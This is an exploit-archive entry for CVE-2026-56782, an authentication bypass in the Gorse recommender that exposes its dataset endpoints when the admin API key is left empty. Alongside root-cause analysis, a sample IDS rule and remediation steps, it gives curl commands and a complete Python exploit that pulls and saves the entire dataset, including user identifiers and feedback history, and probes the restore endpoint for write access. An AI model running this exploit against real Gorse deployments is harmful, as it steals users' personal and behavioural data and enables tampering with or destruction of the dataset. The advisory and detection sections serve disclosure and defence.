PoC Archive PoC Archive
CVE-2026-56782 category: web CVSS 9.8 (CRITICAL)
Patched

Gorse Unauthenticated Database Dump and Restore via Empty Admin API Key (CVE-2026-56782)

Published: 2026-11-27 • Researcher: Caio Fabrício (BiiTts), independent reproduction; the original CVE credit belongs to the reporter referenced by the advisory

Target software Gorse recommender system, master HTTP service and dashboard (default port 8088)
Affected versions Gorse before 0.5.10; the reproduction lab uses the official zhenghaoz/gorse-in-one:0.5.8 image
Status Weaponized
Severity Critical · CVSS 9.8
CVSS 9.8/10
Severity
Critical
CVE
CVE-2026-56782 (VulnCheck advisory: Gorse unauthenticated database dump and restore)
Category
web
Affected product
Gorse recommender system, master HTTP service and dashboard (default port 8088)
Affected versions
Gorse before 0.5.10; the reproduction lab uses the official zhenghaoz/gorse-in-one:0.5.8 image
Disclosed
2026-11-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-11-27
Last Updated2026-06-30 (upstream commit 7eca4a8, 2026-06-30 11:04:24 -0300)
Author / ResearcherCaio Fabrício (BiiTts), independent reproduction; the original CVE credit belongs to the reporter referenced by the advisory
CVE / AdvisoryCVE-2026-56782 (VulnCheck advisory: Gorse unauthenticated database dump and restore)
Categoryweb
SeverityCritical
CVSS Score9.8 (CVSSv3.1 per the CVE record: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H)
StatusWeaponized
TagsGorse, recommender system, authentication bypass, missing authentication, CWE-306, REST API, Go, database dump, data poisoning, unauthenticated
RelatedN/A

Affected Target

FieldValue
Software / SystemGorse recommender system, master HTTP service and dashboard (default port 8088)
Versions AffectedGorse before 0.5.10; the reproduction lab uses the official zhenghaoz/gorse-in-one:0.5.8 image
Language / PlatformGo server with a REST/HTTP API; the PoC is Python 3 standard library only
Authentication RequiredNo. With the default admin_api_key = "", the admin check fails open and ignores the X-API-Key header entirely
Network Access RequiredYes, direct TCP access to the master HTTP port (8088 by default), which should never be internet-facing

Summary

CVE-2026-56782 is an authentication bypass in the Gorse recommender system that exposes its administrative dataset endpoints to anonymous callers. The master server protects /api/dump and /api/restore with an admin check that returns true whenever the admin API key is empty, and the shipped configuration leaves it empty by default. A remote attacker with no credentials can therefore stream the entire dataset, including user identifiers and the full feedback graph, or post a crafted dump to overwrite it. NVD rates the issue 9.8 Critical for confidentiality, integrity and availability.

Vulnerability Details

Root Cause

The master HTTP container registers /api/dump and /api/restore as plain http.HandlerFunc handlers, outside the dashboard’s cookie and session middleware, so each handler is responsible for its own authorization and delegates to checkAdmin(). That function short-circuits before it ever reads the request header:

Go source
1
2
3
4
5
6
7
8
9
func (m *Master) checkAdmin(request *http.Request) bool {
    if m.Config.Master.AdminAPIKey == "" {
        return true                 // fail-open: no key configured => everyone is admin
    }
    if request.Header.Get("X-API-Key") == m.Config.Master.AdminAPIKey {
        return true
    }
    return false
}

The shipped config/config.toml sets admin_api_key = "", so on a default deployment the empty-key branch is taken for every request and any X-API-Key value, including none or a bogus one, is accepted. The handlers then call GetUserStream, GetItemStream and GetFeedbackStream to emit the dump, or feed the request body into Restore, without further scoping or confirmation. NVD classifies the flaw as CWE-306, missing authentication for a critical function.

Attack Vector

Two unauthenticated requests against the master port. GET /api/dump with no X-API-Key header returns the whole dataset as a binary stream. POST /api/restore with any body, even a single EOF marker, is accepted and overwrites the dataset; a successful status other than 401 proves the bypass. No session, cookie, CSRF token or dashboard login is involved.

Impact

Full confidentiality loss: the dump exposes every user identifier and label, every item, and the entire feedback graph, which for a production recommender is bulk behavioural and personally identifiable data. Integrity and availability loss through /api/restore, which lets an attacker silently replace or destroy the dataset and thereby poison every recommendation the service produces. Because the master port also serves the dashboard, an exposed instance is typically reachable from the same network position as the operator console.

Environment / Lab Setup

Output
OS:          Linux host with Docker (the lab compose file uses host networking)
Target:      Gorse 0.5.8 - zhenghaoz/gorse-in-one:0.5.8, master HTTP on 127.0.0.1:8088
Attacker:    Same host or any host that can reach port 8088; Python 3.8+ (stdlib only)
Tools:       docker compose, python3; curl or netcat for manual verification

Setup Steps

Shell script
1
2
3
4
5
docker compose -f lab/docker-compose.yml up -d

curl -s -o /dev/null -w '%{http_code}\n' http://127.0.0.1:8088/api/dump

python3 exploit.py http://127.0.0.1:8088 -o dump.bin

The lab compose file uses host networking because the upstream author’s environment lacked a usable Docker bridge; adjust it if port 8088 is already in use. No exploit code was executed while preparing this entry.

Proof of Concept

Step-by-Step Reproduction

  1. Read the dataset without credentials - A bare GET is enough; no X-API-Key header is sent.

    Shell script
    1
    2
    
    curl -s -o dump.bin -D - http://127.0.0.1:8088/api/dump
    # expect HTTP 200 and Content-Type: application/octet-stream
  2. Confirm the key is ignored - A deliberately wrong header still succeeds, proving the fail-open branch rather than a key match.

    Shell script
    1
    
    curl -s -o /dev/null -w '%{http_code}\n' -H 'X-API-Key: definitely-wrong' http://127.0.0.1:8088/api/dump
  3. Probe the write path - POST an EOF-only dump body and look for anything other than 401.

    Shell script
    1
    2
    
    printf '\x00\x00\x00\x00\x00\x00\x00\x00' | curl -s -o /dev/null -w '%{http_code}\n' \
      --data-binary @- -H 'Content-Type: application/octet-stream' http://127.0.0.1:8088/api/restore
  4. Parse the dump - The PoC walks the int64 little-endian section markers and length-prefixed protobuf records to count users, items and feedback and to sample identifiers.

    Shell script
    1
    
    python3 exploit.py http://127.0.0.1:8088 -o dump.bin

Exploit Code

See exploit.py in this folder.

Python
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
def dump(base, out_path):
    url = base.rstrip("/") + "/api/dump"
    req = urllib.request.Request(url)          # deliberately unauthenticated
    resp = urllib.request.urlopen(req, timeout=120)

    while True:
        hdr = _read_exact(resp, 8)
        (val,) = struct.unpack("<q", hdr)
        if val == 0:
            break                              # EOF marker
        if val < 0:
            cur = {-1: "users", -2: "items", -3: "feedback"}.get(val)
            continue
        record = _read_exact(resp, val)        # positive length => protobuf record
        counts[cur] += 1

The stream layout is a sequence of int64 markers (-1 users, -2 items, -3 feedback, 0 EOF) with each record prefixed by its protobuf length, so the PoC can count exfiltrated rows and pull field 1 (the UserId or ItemId string) from the first few records as evidence.

Expected Output

Output
[*] GET http://127.0.0.1:8088/api/dump  (no X-API-Key header)
[*] HTTP 200  content-type: application/octet-stream

[+] UNAUTHENTICATED DATA EXFILTRATION CONFIRMED
    users    : 2079
    items    : 22320
    feedback : 331901
    payload  : 262747105 protobuf bytes
    sample user ids : 0-vortex, 0markill, 0q2, 0x4richard, 0x973

[*] POST http://127.0.0.1:8088/api/restore  (no X-API-Key header, EOF-only body)
[+] HTTP 200 (not 401) - checkAdmin bypassed: /api/restore is writable unauthenticated.

The counts match the --playground seed dataset in the lab; against a real deployment the byte volume is proportional to the stored history.

Detection & Indicators of Compromise

Output
GET /api/dump HTTP/1.1
Host: gorse-master:8088

POST /api/restore HTTP/1.1
Host: gorse-master:8088
Content-Type: application/octet-stream
Content-Length: <size>

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"CVE-2026-56782 Gorse unauth /api/dump or /api/restore"; flow:to_server,established; content:"/api/"; http_uri; content:"dump"; http_uri; reference:cve,2026-56782; sid:9000567;)

Remediation

ActionDetail
PatchUpgrade to Gorse 0.5.10 or later, where the empty admin_api_key no longer grants access and both endpoints reject unauthenticated callers with HTTP 401.
WorkaroundOn affected versions set a strong admin_api_key and dashboard credentials, terminate TLS in front of the master, and keep port 8088 off untrusted networks.
Config HardeningTreat the master port as an internal control plane, restrict it with network policy or a reverse proxy allowlist, rotate the admin key after any suspected exposure, and review stored data for tampering if /api/restore was reachable.

References

Notes

Auto-prepared on 2026-11-27 from https://github.com/BiiTts/CVE-2026-56782-Gorse-Auth-Bypass (1 star, pushed 2026-06-30, Python).

Review verdict: ingested. The repository is a verified end-to-end reproduction, not a scanner: it performs the unauthenticated GET against the real /api/dump endpoint, parses the actual binary dump format to count exfiltrated records, and probes /api/restore to demonstrate the write path with a 401-versus-200 discriminator. The bundled ANALYSIS.md quotes the vulnerable checkAdmin() logic and the dump stream grammar, and the lab compose file pins the vulnerable 0.5.8 image. It contains no C2, persistence, evasion, credential-stealing, mining or bot functionality and no destructive payload (the restore probe posts only an EOF marker).

License: MIT, Copyright (c) 2026 Caio Fabrício (BiiTts). The LICENSE file is included; the exploit is copied verbatim except for the two-line archive header.

Limitations: the dump parser assumes the int64 little-endian marker layout documented in ANALYSIS.md and will miscount if the format changes between versions; a real dump can be very large (hundreds of megabytes), so -o should point at a volume with space; the restore probe sends a no-op EOF body and therefore demonstrates reachability rather than actual data replacement; the lab compose file uses host networking and requires port 8088 to be free; the vulnerability only exists when admin_api_key is empty, so a hardened deployment will return 401 and the PoC will correctly report a patched or configured target. No exploit code was executed during preparation of this entry.

exploit.py
  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
#!/usr/bin/env python3
# Archived for authorized security research only.
# Source: https://github.com/BiiTts/CVE-2026-56782-Gorse-Auth-Bypass (see README for attribution/license)
"""
CVE-2026-56782 - Gorse < 0.5.10 - Unauthenticated database dump / restore (auth bypass)

The master HTTP server gates /api/dump and /api/restore behind checkAdmin():

    func (m *Master) checkAdmin(request *http.Request) bool {
        if m.Config.Master.AdminAPIKey == "" {
            return true                 // fail-open: no key => everyone is admin
        }
        if request.Header.Get("X-API-Key") == m.Config.Master.AdminAPIKey {
            return true
        }
        return false
    }

`admin_api_key` is empty in the shipped config, so an unauthenticated attacker can:
  * GET  /api/dump     -> stream the entire dataset (users, items, feedback / PII)
  * POST /api/restore  -> overwrite the entire dataset

This PoC reads the dump stream and counts the exfiltrated records, then probes
/api/restore to show it is reachable without authentication.

Dump stream format (master/rest.go):
  int64 LE section markers: UserStream=-1, ItemStream=-2, FeedbackStream=-3, EOF=0
  each record: int64 LE length prefix (>0) followed by that many protobuf bytes.

Author: Caio Fabricio (BiiTts) - https://github.com/BiiTts
For authorized security testing only.
"""
import argparse
import struct
import sys
import urllib.request


def _read_exact(resp, n):
    buf = b""
    while len(buf) < n:
        chunk = resp.read(n - len(buf))
        if not chunk:
            break
        buf += chunk
    return buf


def _pb_first_string(record):
    """Extract field #1 (UserId/ItemId, wire type 2) from a protobuf record."""
    if not record or record[0] != 0x0A:  # tag: field 1, wire type 2
        return None
    i, length = 1, 0
    shift = 0
    while i < len(record):
        b = record[i]
        length |= (b & 0x7F) << shift
        i += 1
        if not (b & 0x80):
            break
        shift += 7
    return record[i:i + length].decode("utf-8", "replace")


def dump(base, out_path):
    url = base.rstrip("/") + "/api/dump"
    print(f"[*] GET {url}  (no X-API-Key header)")
    req = urllib.request.Request(url)  # deliberately unauthenticated
    resp = urllib.request.urlopen(req, timeout=120)
    print(f"[*] HTTP {resp.status}  content-type: {resp.headers.get('Content-Type')}")
    if resp.status != 200:
        print("[!] Not 200 - target likely patched or admin_api_key is set.")
        return

    sections = {-1: "users", -2: "items", -3: "feedback"}
    counts = {"users": 0, "items": 0, "feedback": 0}
    samples = {"users": [], "items": []}
    cur = None
    total = 0
    fh = open(out_path, "wb") if out_path else None
    try:
        while True:
            hdr = _read_exact(resp, 8)
            if len(hdr) < 8:
                break
            (val,) = struct.unpack("<q", hdr)
            if fh:
                fh.write(hdr)
            if val == 0:           # EOF marker
                break
            if val < 0:            # section marker
                cur = sections.get(val)
                continue
            record = _read_exact(resp, val)   # val > 0 => record length
            if fh:
                fh.write(record)
            total += len(record)
            if cur:
                counts[cur] += 1
                if cur in samples and len(samples[cur]) < 5:
                    s = _pb_first_string(record)
                    if s:
                        samples[cur].append(s)
    finally:
        if fh:
            fh.close()

    print("\n[+] UNAUTHENTICATED DATA EXFILTRATION CONFIRMED")
    print(f"    users    : {counts['users']}")
    print(f"    items    : {counts['items']}")
    print(f"    feedback : {counts['feedback']}")
    print(f"    payload  : {total} protobuf bytes")
    if samples["users"]:
        print(f"    sample user ids : {', '.join(samples['users'])}")
    if samples["items"]:
        print(f"    sample item ids : {', '.join(samples['items'])}")
    if out_path:
        print(f"    raw dump saved  : {out_path}")


def restore_probe(base):
    url = base.rstrip("/") + "/api/restore"
    # Minimal valid stream: just an EOF marker (int64 0) -> a no-op restore.
    body = struct.pack("<q", 0)
    req = urllib.request.Request(url, data=body, method="POST")
    print(f"\n[*] POST {url}  (no X-API-Key header, EOF-only body)")
    try:
        resp = urllib.request.urlopen(req, timeout=30)
        code = resp.status
    except urllib.error.HTTPError as e:
        code = e.code
    if code == 401:
        print(f"[!] HTTP {code} - restore is authenticated (patched / key set).")
    else:
        print(f"[+] HTTP {code} (not 401) - checkAdmin bypassed: /api/restore is writable unauthenticated.")


def main():
    ap = argparse.ArgumentParser(description="CVE-2026-56782 Gorse unauth dump/restore PoC")
    ap.add_argument("target", help="Gorse master base URL, e.g. http://127.0.0.1:8088")
    ap.add_argument("-o", "--out", default=None, help="Save the raw dump stream to this file")
    ap.add_argument("--no-restore", action="store_true", help="Skip the /api/restore probe")
    args = ap.parse_args()
    dump(args.target, args.out)
    if not args.no_restore:
        restore_probe(args.target)
    return 0


if __name__ == "__main__":
    sys.exit(main())